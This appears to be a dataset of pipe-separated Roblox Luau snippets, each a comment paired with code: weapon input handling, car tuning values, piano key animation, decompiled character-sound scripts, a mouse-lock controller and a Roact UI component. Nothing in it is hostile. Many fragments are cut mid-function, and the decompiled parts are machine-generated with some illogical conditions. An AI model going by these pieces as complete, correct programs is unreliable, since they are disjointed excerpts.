if runReady then
if (not Idling) and Walking and (not Running) and (not Knifing) and (not (Aimed and S.guiScope and S.Keys.Sprint == S.Keys.scopeSteady)) then
monitorStamina()
end
end
end
if Key == S.Keys.scopeSteady then
steadyKeyPressed = true
if Aimed and (not Aiming) then
takingBreath = false
steadyCamera()
end
end
for _, PTable in pairs(Plugins.KeyDown) do
if Key == string.lower(PTable.Key) then
spawn(function()
PTable.Plugin()
end)
end
end
end
function keyUp(K)
local Key = string.lower(K)
if Key == S.Keys.ADS then
if S.aimSettings.holdToADS then
if (not AimingOut) and Aimed then
AimingOut = true
unAimGun()
AimingOut = false
end
end
end
if Key == S.Keys.Sprint then
runKeyPressed = false
Running = false
if (not chargingStamina) then
rechargeStamina()
end
end
if Key == S.Keys.scopeSteady then
steadyKeyPressed = false
end
for _, PTable in pairs(Plugins.KeyUp) do
if Key == string.lower(PTable.Key) then
spawn(function()
PTable.Plugin()
end)
end
end
end
|
--[[**
ensures value is a number where value < 0
@returns A function that will return true iff the condition is passed
**--]] |
t.numberNegative = t.numberMaxExclusive(0)
|
-- Removes any old creator tags and applies a new one to the target |
local function ApplyTags(target)
while target:FindFirstChild('creator') do
target.creator:Destroy()
end
local creatorTagClone = CreatorTag:Clone()
DebrisService:AddItem(creatorTagClone, 1.5)
creatorTagClone.Parent = target
end
|
----------------------------------
------------FUNCTIONS-------------
---------------------------------- |
function UnDigify(digit)
if digit < 1 or digit > 61 then
return ""
elseif digit == 1 then
return "1"
elseif digit == 2 then
return "!"
elseif digit == 3 then
return "2"
elseif digit == 4 then
return "@"
elseif digit == 5 then
return "3"
elseif digit == 6 then
return "4"
elseif digit == 7 then
return "$"
elseif digit == 8 then
return "5"
elseif digit == 9 then
return "%"
elseif digit == 10 then
return "6"
elseif digit == 11 then
return "^"
elseif digit == 12 then
return "7"
elseif digit == 13 then
return "8"
elseif digit == 14 then
return "*"
elseif digit == 15 then
return "9"
elseif digit == 16 then
return "("
elseif digit == 17 then
return "0"
elseif digit == 18 then
return "q"
elseif digit == 19 then
return "Q"
elseif digit == 20 then
return "w"
elseif digit == 21 then
return "W"
elseif digit == 22 then
return "e"
elseif digit == 23 then
return "E"
elseif digit == 24 then
return "r"
elseif digit == 25 then
return "t"
elseif digit == 26 then
return "T"
elseif digit == 27 then
return "y"
elseif digit == 28 then
return "Y"
elseif digit == 29 then
return "u"
elseif digit == 30 then
return "i"
elseif digit == 31 then
return "I"
elseif digit == 32 then
return "o"
elseif digit == 33 then
return "O"
elseif digit == 34 then
return "p"
elseif digit == 35 then
return "P"
elseif digit == 36 then
return "a"
elseif digit == 37 then
return "s"
elseif digit == 38 then
return "S"
elseif digit == 39 then
return "d"
elseif digit == 40 then
return "D"
elseif digit == 41 then
return "f"
elseif digit == 42 then
return "g"
elseif digit == 43 then
return "G"
elseif digit == 44 then
return "h"
elseif digit == 45 then
return "H"
elseif digit == 46 then
return "j"
elseif digit == 47 then
return "J"
elseif digit == 48 then
return "k"
elseif digit == 49 then
return "l"
elseif digit == 50 then
return "L"
elseif digit == 51 then
return "z"
elseif digit == 52 then
return "Z"
elseif digit == 53 then
return "x"
elseif digit == 54 then
return "c"
elseif digit == 55 then
return "C"
elseif digit == 56 then
return "v"
elseif digit == 57 then
return "V"
elseif digit == 58 then
return "b"
elseif digit == 59 then
return "B"
elseif digit == 60 then
return "n"
elseif digit == 61 then
return "m"
else
return "?"
end
end
function IsBlack(note)
if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then
return true
end
end
local TweenService = game:GetService("TweenService")
function Tween(obj,Goal,Time,Wait,...) local TwInfo = TweenInfo.new(Time,...) local twn = TweenService:Create(obj, TwInfo, Goal) twn:Play() if Wait then twn.Completed:wait() end return
end
local orgins = {} if script.Parent.Keys:FindFirstChild("Keys") then for i,v in pairs(script.Parent.Keys.Keys:GetChildren()) do orgins[v.Name] = {v.Position,v.Orientation} end else for i,v in pairs(script.Parent.Keys:GetChildren()) do if v:IsA("Model") then for a,b in pairs(v:GetChildren()) do orgins[v.Name] = {b.Position,b.Orientation} end end end end function AnimateKey(note1,px,py,pz,ox,oy,oz,Time) pcall(function() local obj = script.Parent.Keys.Keys:FindFirstChild(note1) if obj then local Properties = {} local OrginP = orgins[obj.Name][1] local OrginO = orgins[obj.Name][2] local changep = OrginP - Vector3.new(px,py,pz) local changeo = OrginO - Vector3.new(ox,oy,oz) Properties.Position = Vector3.new(obj.Position.x, changep.Y, changep.Z) Properties.Orientation = changeo Tween(obj,Properties,Time,Enum.EasingStyle.Linear) Properties = {} Properties.Position = Vector3.new(obj.Position.x,OrginP.y,OrginP.z) Properties.Orientation = OrginO Tween(obj,Properties,Time,Enum.EasingStyle.Linear) else print(note1..' was not found, or you do not have the correct configuration for the piano keys') end end) end |
--Variables-- |
local Enabled = true
local mouse = Player:GetMouse()
local ButtonDown = false
local Key = nil
local cooldown = 5
local Debounce = 1
|
--[[Drivetrain]] |
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD"
--Differential Settings
Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 50 -- 1 - 100%
Tune.RDiffLockThres = 50 -- 0 - 100%
Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = true -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
-- initiate |
for _, drop in pairs(DROPS:GetChildren()) do
HandleDrop(drop)
end
local t = 0
RunService.Stepped:connect(function(_, deltaTime)
t = t + deltaTime
for drop, dropInfo in pairs(drops) do
local offset = drop.Position - CAMERA.CFrame.p
if math.abs(offset.X) < UPDATE_RANGE and math.abs(offset.Y) < UPDATE_RANGE and math.abs(offset.Z) < UPDATE_RANGE then
local localT = t + (drop.Position.X + drop.Position.Z) * 0.2
local cframe = CFrame.new(drop.Position) * CFrame.new(0, math.sin(localT) * 0.2, 0) * CFrame.Angles(0, localT / 4, 0)
for _, info in pairs(dropInfo.Parts) do
info.Part.CFrame = cframe * info.Offset
local offset = info.Part.Position - CAMERA.CFrame.p
info.Outline.CFrame = info.Part.CFrame + offset.Unit * OUTLINE_WIDTH * 2
end
end
end
end)
|
--[[
Returns the platform / user input of the client.
]] |
local function getClientPlatform()
-- TODO: Get input, and return Keyboard, Controller, or Touch
return "Keyboard"
end
|
-- Util
-- Stephen Leitnick
-- April 29, 2022 |
type AnyTable = { [any]: any }
local Util = {}
Util.None = newproxy()
|
--[[Steering]] |
Tune.SteerInner = 58 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 58 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .5 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .5 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 325 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 5000 -- Steering Force
Tune.SteerP = 3500 -- Steering Aggressiveness
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = {
Died = 0,
Running = 1,
Swimming = 2,
Climbing = 3,
Jumping = 4,
GettingUp = 5,
FreeFalling = 6,
FallingDown = 7,
Landing = 8,
Splash = 9
};
local v2 = nil;
local v3 = {};
local l__ReplicatedStorage__4 = game:GetService("ReplicatedStorage");
local v5 = l__ReplicatedStorage__4:FindFirstChild("DefaultSoundEvents");
local v6 = UserSettings():IsUserFeatureEnabled("UserUseSoundDispatcher");
if v6 then
if not v5 then
v5 = Instance.new("Folder", l__ReplicatedStorage__4);
v5.Name = "DefaultSoundEvents";
v5.Archivable = false;
end;
local v7 = v5:FindFirstChild("RemoveCharacterEvent");
if v7 == nil then
v7 = Instance.new("RemoteEvent", v5);
v7.Name = "RemoveCharacterEvent";
end;
local v8 = v5:FindFirstChild("AddCharacterLoadedEvent");
if v8 == nil then
v8 = Instance.new("RemoteEvent", v5);
v8.Name = "AddCharacterLoadedEvent";
end;
v8:FireServer();
game.Players.LocalPlayer.CharacterRemoving:connect(function(p1)
v7:FireServer(game.Players.LocalPlayer);
end);
end;
local l__Parent__9 = script.Parent.Parent;
local l__Head__10 = l__Parent__9:WaitForChild("Head");
while not v2 do
for v11, v12 in pairs(l__Parent__9:GetChildren()) do
if v12:IsA("Humanoid") then
v2 = v12;
break;
end;
end;
if v2 then
break;
end;
l__Parent__9.ChildAdded:wait();
end;
v3[v1.Died] = l__Head__10:WaitForChild("Died");
v3[v1.Running] = l__Head__10:WaitForChild("Running");
v3[v1.Swimming] = l__Head__10:WaitForChild("Swimming");
v3[v1.Climbing] = l__Head__10:WaitForChild("Climbing");
v3[v1.Jumping] = l__Head__10:WaitForChild("Jumping");
v3[v1.GettingUp] = l__Head__10:WaitForChild("GettingUp");
v3[v1.FreeFalling] = l__Head__10:WaitForChild("FreeFalling");
v3[v1.Landing] = l__Head__10:WaitForChild("Landing");
v3[v1.Splash] = l__Head__10:WaitForChild("Splash");
if v6 then
local v13 = v5:FindFirstChild("DefaultServerSoundEvent");
else
v13 = game:GetService("ReplicatedStorage"):FindFirstChild("DefaultServerSoundEvent");
end;
if v13 then
v13.OnClientEvent:connect(function(p2, p3, p4)
if p4 and p2.TimePosition ~= 0 then
p2.TimePosition = 0;
end;
if p2.IsPlaying ~= p3 then
p2.Playing = p3;
end;
end);
end;
local l__SoundService__1 = game:GetService("SoundService");
local v14 = {
YForLineGivenXAndTwoPts = function(p5, p6, p7, p8, p9)
local v15 = (p7 - p9) / (p6 - p8);
return v15 * p5 + (p7 - v15 * p6);
end,
Clamp = function(p10, p11, p12)
return math.min(p12, math.max(p11, p10));
end,
HorizontalSpeed = function(p13)
return (p13.Velocity + Vector3.new(0, -p13.Velocity.Y, 0)).magnitude;
end,
VerticalSpeed = function(p14)
return math.abs(p14.Velocity.Y);
end
};
local function u2()
return game.Workspace.FilteringEnabled and l__SoundService__1.RespectFilteringEnabled;
end;
function v14.Play(p15)
if u2() then
p15.CharacterSoundEvent:FireServer(true, true);
end;
if p15.TimePosition ~= 0 then
p15.TimePosition = 0;
end;
if not p15.IsPlaying then
p15.Playing = true;
end;
end;
function v14.Pause(p16)
if u2() then
p16.CharacterSoundEvent:FireServer(false, false);
end;
if p16.IsPlaying then
p16.Playing = false;
end;
end;
function v14.Resume(p17)
if u2() then
p17.CharacterSoundEvent:FireServer(true, false);
end;
if not p17.IsPlaying then
p17.Playing = true;
end;
end;
function v14.Stop(p18)
if u2() then
p18.CharacterSoundEvent:FireServer(false, true);
end;
if p18.IsPlaying then
p18.Playing = false;
end;
if p18.TimePosition ~= 0 then
p18.TimePosition = 0;
end;
end;
local u3 = {};
function setSoundInPlayingLoopedSounds(p19)
local v16 = #u3;
local v17 = 1 - 1;
while true do
if u3[v17] == p19 then
return;
end;
if 0 <= 1 then
if v17 < v16 then
else
break;
end;
elseif v16 < v17 then
else
break;
end;
v17 = v17 + 1;
end;
table.insert(u3, p19);
end;
function stopPlayingLoopedSoundsExcept(p20)
local v18 = #u3 - -1;
while true do
if u3[v18] ~= p20 then
v14.Pause(u3[v18]);
table.remove(u3, v18);
end;
if 0 <= -1 then
if v18 < 1 then
else
break;
end;
elseif 1 < v18 then
else
break;
end;
v18 = v18 + -1;
end;
end;
local v19 = {};
v19[Enum.HumanoidStateType.Dead] = function()
stopPlayingLoopedSoundsExcept();
v14.Play(v3[v1.Died]);
end;
v19[Enum.HumanoidStateType.RunningNoPhysics] = function(p21)
stateUpdated(Enum.HumanoidStateType.Running, p21);
end;
local u4 = UserSettings():IsUserFeatureEnabled("UserFixCharacterSoundIssues");
local u5 = nil;
local u6 = 0;
v19[Enum.HumanoidStateType.Running] = function(p22)
local v20 = v3[v1.Running];
stopPlayingLoopedSoundsExcept(v20);
if u4 and u5 == Enum.HumanoidStateType.Freefall and u6 > 0.1 then
local v21 = v3[v1.FreeFalling];
v21.Volume = math.min(1, math.max(0, (u6 - 50) / 110));
v14.Play(v21);
u6 = 0;
end;
if u4 then
if p22 ~= nil and p22 > 0.5 then
v14.Resume(v20);
setSoundInPlayingLoopedSounds(v20);
return;
elseif p22 ~= nil then
stopPlayingLoopedSoundsExcept();
return;
else
return;
end;
elseif not (v14.HorizontalSpeed(l__Head__10) > 0.5) then
stopPlayingLoopedSoundsExcept();
return;
end;
v14.Resume(v20);
setSoundInPlayingLoopedSounds(v20);
end;
v19[Enum.HumanoidStateType.Swimming] = function(p23)
if u4 then
local v22 = p23;
else
v22 = v14.VerticalSpeed(l__Head__10);
end;
if u5 ~= Enum.HumanoidStateType.Swimming and v22 > 0.1 then
local v23 = v3[v1.Splash];
v23.Volume = v14.Clamp(v14.YForLineGivenXAndTwoPts(v14.VerticalSpeed(l__Head__10), 100, 0.28, 350, 1), 0, 1);
v14.Play(v23);
end;
local v24 = v3[v1.Swimming];
stopPlayingLoopedSoundsExcept(v24);
v14.Resume(v24);
setSoundInPlayingLoopedSounds(v24);
end;
v19[Enum.HumanoidStateType.Climbing] = function(p24)
local v25 = v3[v1.Climbing];
if u4 then
if p24 ~= nil and math.abs(p24) > 0.1 then
v14.Resume(v25);
stopPlayingLoopedSoundsExcept(v25);
else
v14.Pause(v25);
stopPlayingLoopedSoundsExcept(v25);
end;
elseif v14.VerticalSpeed(l__Head__10) > 0.1 then
v14.Resume(v25);
stopPlayingLoopedSoundsExcept(v25);
else
stopPlayingLoopedSoundsExcept();
end;
setSoundInPlayingLoopedSounds(v25);
end;
v19[Enum.HumanoidStateType.Jumping] = function()
if u5 == Enum.HumanoidStateType.Jumping then
return;
end;
stopPlayingLoopedSoundsExcept();
v14.Play(v3[v1.Jumping]);
end;
v19[Enum.HumanoidStateType.GettingUp] = function()
stopPlayingLoopedSoundsExcept();
v14.Play(v3[v1.GettingUp]);
end;
v19[Enum.HumanoidStateType.Freefall] = function()
if u5 == Enum.HumanoidStateType.Freefall then
return;
end;
v3[v1.FreeFalling].Volume = 0;
stopPlayingLoopedSoundsExcept();
u6 = math.max(u6, math.abs(l__Head__10.Velocity.y));
end;
v19[Enum.HumanoidStateType.FallingDown] = function()
stopPlayingLoopedSoundsExcept();
end;
v19[Enum.HumanoidStateType.Landed] = function()
stopPlayingLoopedSoundsExcept();
if v14.VerticalSpeed(l__Head__10) > 75 then
local v26 = v3[v1.Landing];
v26.Volume = v14.Clamp(v14.YForLineGivenXAndTwoPts(v14.VerticalSpeed(l__Head__10), 50, 0, 100, 1), 0, 1);
v14.Play(v26);
end;
end;
v19[Enum.HumanoidStateType.Seated] = function()
stopPlayingLoopedSoundsExcept();
end;
function stateUpdated(p25, p26)
if v19[p25] ~= nil then
if u4 then
if p25 ~= Enum.HumanoidStateType.Running then
if p25 ~= Enum.HumanoidStateType.Climbing then
if p25 ~= Enum.HumanoidStateType.Swimming then
if p25 == Enum.HumanoidStateType.RunningNoPhysics then
v19[p25](p26);
else
v19[p25]();
end;
else
v19[p25](p26);
end;
else
v19[p25](p26);
end;
else
v19[p25](p26);
end;
else
v19[p25]();
end;
end;
u5 = p25;
end;
v2.Died:connect(function()
stateUpdated(Enum.HumanoidStateType.Dead);
end);
v2.Running:connect(function(p27)
stateUpdated(Enum.HumanoidStateType.Running, p27);
end);
v2.Swimming:connect(function(p28)
stateUpdated(Enum.HumanoidStateType.Swimming, p28);
end);
v2.Climbing:connect(function(p29)
stateUpdated(Enum.HumanoidStateType.Climbing, p29);
end);
v2.Jumping:connect(function()
stateUpdated(Enum.HumanoidStateType.Jumping);
end);
v2.GettingUp:connect(function()
stateUpdated(Enum.HumanoidStateType.GettingUp);
end);
v2.FreeFalling:connect(function()
stateUpdated(Enum.HumanoidStateType.Freefall);
end);
v2.FallingDown:connect(function()
stateUpdated(Enum.HumanoidStateType.FallingDown);
end);
v2.StateChanged:connect(function(p30, p31)
stateUpdated(p31);
end);
function onUpdate(p32, p33)
local v27 = v3[v1.FreeFalling];
if u5 == Enum.HumanoidStateType.Freefall then
if l__Head__10.Velocity.Y < 0 then
if 75 < v14.VerticalSpeed(l__Head__10) then
v14.Resume(v27);
v27.Volume = v14.Clamp(v27.Volume + p33 / 1.1 * (p32 / p33), 0, 1);
else
v27.Volume = 0;
end;
else
v27.Volume = 0;
end;
else
v14.Pause(v27);
end;
if u5 == Enum.HumanoidStateType.Running then
if v14.HorizontalSpeed(l__Head__10) < 0.5 then
v14.Pause(v3[v1.Running]);
end;
end;
end;
local v28 = tick();
while true do
onUpdate(tick() - v28, 0.25);
v28 = tick();
wait(0.25);
end;
|
-- Decompiled with the Synapse X Luau decompiler. |
local l__Ice__1 = game.Players.LocalPlayer:WaitForChild("Data"):WaitForChild("Ice");
local l__Parent__1 = script.Parent;
l__Ice__1.Changed:Connect(function()
if l__Ice__1.Value <= 0.9 and l__Ice__1.Value >= 1 then
l__Parent__1.Crackle.Volume = 0.1;
return;
end;
if l__Ice__1.Value <= 0.1 and l__Ice__1.Value >= 0 then
l__Parent__1.Crackle.Volume = 0.9;
return;
end;
if l__Ice__1.Value <= 0.2 and l__Ice__1.Value >= 0.1 then
l__Parent__1.Crackle.Volume = 0.8;
return;
end;
if l__Ice__1.Value <= 0.3 and l__Ice__1.Value >= 0.2 then
l__Parent__1.Crackle.Volume = 0.7;
return;
end;
if l__Ice__1.Value <= 0.4 and l__Ice__1.Value >= 0.3 then
l__Parent__1.Crackle.Volume = 0.6;
return;
end;
if l__Ice__1.Value <= 0.5 and l__Ice__1.Value >= 0.4 then
l__Parent__1.Crackle.Volume = 0.5;
return;
end;
if l__Ice__1.Value <= 0.6 and l__Ice__1.Value >= 0.5 then
l__Parent__1.Crackle.Volume = 0.4;
return;
end;
if l__Ice__1.Value <= 0.7 and l__Ice__1.Value >= 0.6 then
l__Parent__1.Crackle.Volume = 0.3;
return;
end;
if l__Ice__1.Value <= 0.8 and l__Ice__1.Value >= 0.7 then
l__Parent__1.Crackle.Volume = 0.2;
return;
end;
if l__Ice__1.Value <= 0.9 then
l__Parent__1.Crackle.Volume = 0.1;
return;
end;
if l__Ice__1.Value >= 1 then
l__Parent__1.Crackle.Volume = 0;
end;
end);
|
--[[Transmission]] |
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
--[[ 6 ]] 0.64 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--BOV-- |
script.Parent.Parent.Values.RPM.Changed:connect(function()
local t = 0
t = (totalPSI*20)
BOVact = math.floor(t)
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
wait(0.1)
local t2 = 0
t2 = (totalPSI*20)
BOVact2 = math.floor(t2)
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
if BOVact > BOVact2 then
if BOV.IsPlaying == false then
BOV:Play()
end
end
if BOVact < BOVact2 then
if BOV.IsPlaying == true then
BOV:Stop()
end
end
end)
|
--Formula secreta del crustacio kaskarudo |
local RebirthFormule = game:GetService("ReplicatedStorage").GameProperties.RebirthFormule
local Formula = RebirthFormule.Value + (RebirthFormule.Value * Multiplier.Value)
local MultiplierFormule = game:GetService("ReplicatedStorage").GameProperties.MultiplierFormule |
--[[Wheel Stabilizer Gyro]] |
Tune.FGyroDamp = 100 -- Front Wheel Non-Axial Dampening
Tune.RGyroDamp = 100 -- Rear Wheel Non-Axial Dampening
|
--[[ The Module ]] | --
local MouseLockController = {}
MouseLockController.__index = MouseLockController
function MouseLockController.new()
local self = setmetatable({}, MouseLockController)
self.isMouseLocked = false
self.savedMouseCursor = nil
self.boundKeys = {Enum.KeyCode.Z} -- defaults
self.mouseLockToggledEvent = Instance.new("BindableEvent")
local boundKeysObj: StringValue = script:FindFirstChild("BoundKeys") :: StringValue
if (not boundKeysObj) or (not boundKeysObj:IsA("StringValue")) then
-- If object with correct name was found, but it's not a StringValue, destroy and replace
if boundKeysObj then
boundKeysObj:Destroy()
end
boundKeysObj = Instance.new("StringValue")
boundKeysObj.Name = "BoundKeys"
boundKeysObj.Value = "Z"
boundKeysObj.Parent = script
end
if boundKeysObj then
boundKeysObj.Changed:Connect(function(value)
self:OnBoundKeysObjectChanged(value)
end)
self:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call
end
-- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly
GameSettings.Changed:Connect(function(property)
if property == "ControlMode" or property == "ComputerMovementMode" then
self:UpdateMouseLockAvailability()
end
end)
-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
PlayersService.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function()
self:UpdateMouseLockAvailability()
end)
-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
PlayersService.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function()
self:UpdateMouseLockAvailability()
end)
self:UpdateMouseLockAvailability()
return self
end
function MouseLockController:GetIsMouseLocked()
return self.isMouseLocked
end
function MouseLockController:GetBindableToggleEvent()
return self.mouseLockToggledEvent.Event
end
function MouseLockController:GetMouseLockOffset()
local offsetValueObj: Vector3Value = script:FindFirstChild("CameraOffset") :: Vector3Value
if offsetValueObj and offsetValueObj:IsA("Vector3Value") then
return offsetValueObj.Value
else
-- If CameraOffset object was found but not correct type, destroy
if offsetValueObj then
offsetValueObj:Destroy()
end
offsetValueObj = Instance.new("Vector3Value")
offsetValueObj.Name = "CameraOffset"
offsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value
offsetValueObj.Parent = script
end
if offsetValueObj and offsetValueObj.Value then
return offsetValueObj.Value
end
return Vector3.new(1.75,0,0)
end
function MouseLockController:UpdateMouseLockAvailability()
local devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock
local devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable
local userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch
local userHasClickToMoveEnabled = GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove
local MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable
if MouseLockAvailable~=self.enabled then
self:EnableMouseLock(MouseLockAvailable)
end
end
function MouseLockController:OnBoundKeysObjectChanged(newValue: string)
self.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is "" or contains invalid values
for token in string.gmatch(newValue,"[^%s,]+") do
for _, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do
if token == keyEnum.Name then
self.boundKeys[#self.boundKeys+1] = keyEnum :: Enum.KeyCode
break
end
end
end
self:UnbindContextActions()
self:BindContextActions()
end
|
--[[
UI to select the surface art to place onto the canvas.
]] |
local SurfaceArtSelector = Roact.Component:extend("SurfaceArtSelector")
SurfaceArtSelector.defaultProps = {
numItemsPerPage = 3,
}
function SurfaceArtSelector:init()
self.isAnimating = false
self.position, self.updatePosition = Roact.createBinding(0)
self.target, self.updateTarget = Roact.createBinding(0)
self.motor = Otter.createSingleMotor(self.position:getValue())
self.motor:onStep(self.updatePosition)
self.state = {
-- Selected surface art index in self.props.images
selectedIndex = 1,
-- Offset to render overflow items in order to avoid empty items during pagination
offset = 0,
}
self.useSinglePagination = function()
return UserInputService.TouchEnabled or self.props.orientation.isPortrait
end
self.onApply = modules.onApply(self)
self.onCancel = modules.onCancel(self)
self.prevPage = function()
local prevPage = modules.prevPage(self)
prevPage(math.min(self.props.numItemsPerPage, #self.props.images))
end
self.prevItem = function()
local prevPage = modules.prevPage(self)
prevPage(1)
end
self.nextPage = function()
local nextPage = modules.nextPage(self)
nextPage(math.min(self.props.numItemsPerPage, #self.props.images))
end
self.nextItem = function()
local nextPage = modules.nextPage(self)
nextPage(1)
end
self.setCurrentIndex = modules.setCurrentIndex(self)
self.getRenderedIndexes = modules.getRenderedIndexes(self)
self.formatTargetIndex = modules.formatTargetIndex()
self.getItemTransparency = modules.getItemTransparency(self)
end
function SurfaceArtSelector:render()
local items = {
UIListLayout = Roact.createElement("UIListLayout", {
SortOrder = Enum.SortOrder.LayoutOrder,
FillDirection = Enum.FillDirection.Horizontal,
VerticalAlignment = Enum.VerticalAlignment.Center,
HorizontalAlignment = Enum.HorizontalAlignment.Center,
}),
}
local indexes = self.getRenderedIndexes()
local mid = math.floor((#indexes + 1) / 2)
for i, index in ipairs(indexes) do
-- Avoid the same image being shown as selected when they are shown on the same page
local isSelected = self.state.selectedIndex == index and i == mid
-- Offset from the current selected index
local offset = mid - i
local item = Roact.createElement("Frame", {
LayoutOrder = i,
BackgroundTransparency = 1,
AutomaticSize = Enum.AutomaticSize.XY,
}, {
Roact.createElement(SurfaceArtSelectorItem, {
image = self.props.images[index],
isSelected = isSelected,
transparency = self.getItemTransparency(i, index, mid),
onClick = function()
self.setCurrentIndex(index, offset)
end,
}),
})
items[self.formatTargetIndex(index, offset)] = item
end
local actionBarHeight = self.props.orientation.isPortrait and ACTION_BAR_HEIGHT_PORTRAIT
or ACTION_BAR_HEIGHT_LANDSCAPE
return Roact.createElement("Frame", {
Size = UDim2.fromScale(1, 1),
BackgroundTransparency = 1,
}, {
Background = Roact.createElement("Frame", {
Size = UDim2.fromScale(1, 1),
BackgroundColor3 = Color3.fromRGB(0, 0, 0),
ZIndex = 1,
}, {
Gradient = Roact.createElement("UIGradient", {
Transparency = NumberSequence.new({
NumberSequenceKeypoint.new(0, 0),
NumberSequenceKeypoint.new(0.2, 0.5),
NumberSequenceKeypoint.new(0.8, 0.5),
NumberSequenceKeypoint.new(1, 0),
}),
Rotation = self.props.orientation.isPortrait and 90 or 0,
}),
}),
Container = Roact.createElement("Frame", {
Size = UDim2.fromScale(1, 1),
BackgroundTransparency = 1,
ZIndex = 2,
}, {
Scroller = Roact.createElement("Frame", {
Size = UDim2.new(1, 0, 1, -(actionBarHeight + ACTION_BAR_TOP_SPACING)),
BackgroundTransparency = 1,
Position = UDim2.fromScale(0.5, 0.5),
AnchorPoint = Vector2.new(0.5, 0.5),
ZIndex = 1,
}, {
UIListLayout = Roact.createElement("UIListLayout", {
FillDirection = Enum.FillDirection.Horizontal,
SortOrder = Enum.SortOrder.LayoutOrder,
}),
LeftButton = not self.useSinglePagination() and Roact.createElement(NavButton, {
order = 1,
image = self.props.configuration.leftArrowPageImage,
onClick = self.prevPage,
keyCode = self.props.configuration.usePageHotkeys and self.props.configuration.prevPageKey or nil,
}),
LeftSingleButton = Roact.createElement(NavButton, {
order = 2,
image = self.props.configuration.leftArrowItemImage,
keyCode = self.props.configuration.usePageHotkeys and self.props.configuration.prevItemKey or nil,
onClick = self.prevItem,
}),
Page = Roact.createElement("Frame", {
LayoutOrder = 3,
Size = self.useSinglePagination() and UDim2.fromScale(0.8, 1) or UDim2.fromScale(0.6, 1),
BackgroundTransparency = 1,
ClipsDescendants = true,
}, {
Container = Roact.createElement("Frame", {
BackgroundTransparency = 1,
Size = UDim2.fromScale(1, 1),
AnchorPoint = Vector2.new(0.5, 0.5),
Position = self.position:map(function(position)
-- Calculate position for animation using pixel offset instead of scale.
--
-- This is because this Frame's size is not computed with all SurfaceArtSelectorItems rendered, but only
-- those that are visible.
return UDim2.new(0.5, position, 0.5, 0)
end),
}, items),
}),
RightSingleButton = Roact.createElement(NavButton, {
order = 4,
image = self.props.configuration.rightArrowItemImage,
onClick = self.nextItem,
keyCode = self.props.configuration.usePageHotkeys and self.props.configuration.nextItemKey or nil,
}),
RightButton = not self.useSinglePagination() and Roact.createElement(NavButton, {
order = 5,
image = self.props.configuration.rightArrowPageImage,
onClick = self.nextPage,
keyCode = self.props.configuration.usePageHotkeys and self.props.configuration.nextPageKey or nil,
}),
}),
ActionBar = Roact.createElement("Frame", {
Size = UDim2.new(1, 0, 0, actionBarHeight + ACTION_BAR_TOP_SPACING),
BackgroundTransparency = 0.5,
BackgroundColor3 = Color3.fromRGB(0, 0, 0),
Position = UDim2.fromScale(0.5, 1),
AnchorPoint = Vector2.new(0.5, 1),
ZIndex = 3,
}, {
UIPadding = Roact.createElement("UIPadding", {
PaddingTop = UDim.new(0, 16),
PaddingBottom = UDim.new(0, 16),
}),
UIListLayout = Roact.createElement("UIListLayout", {
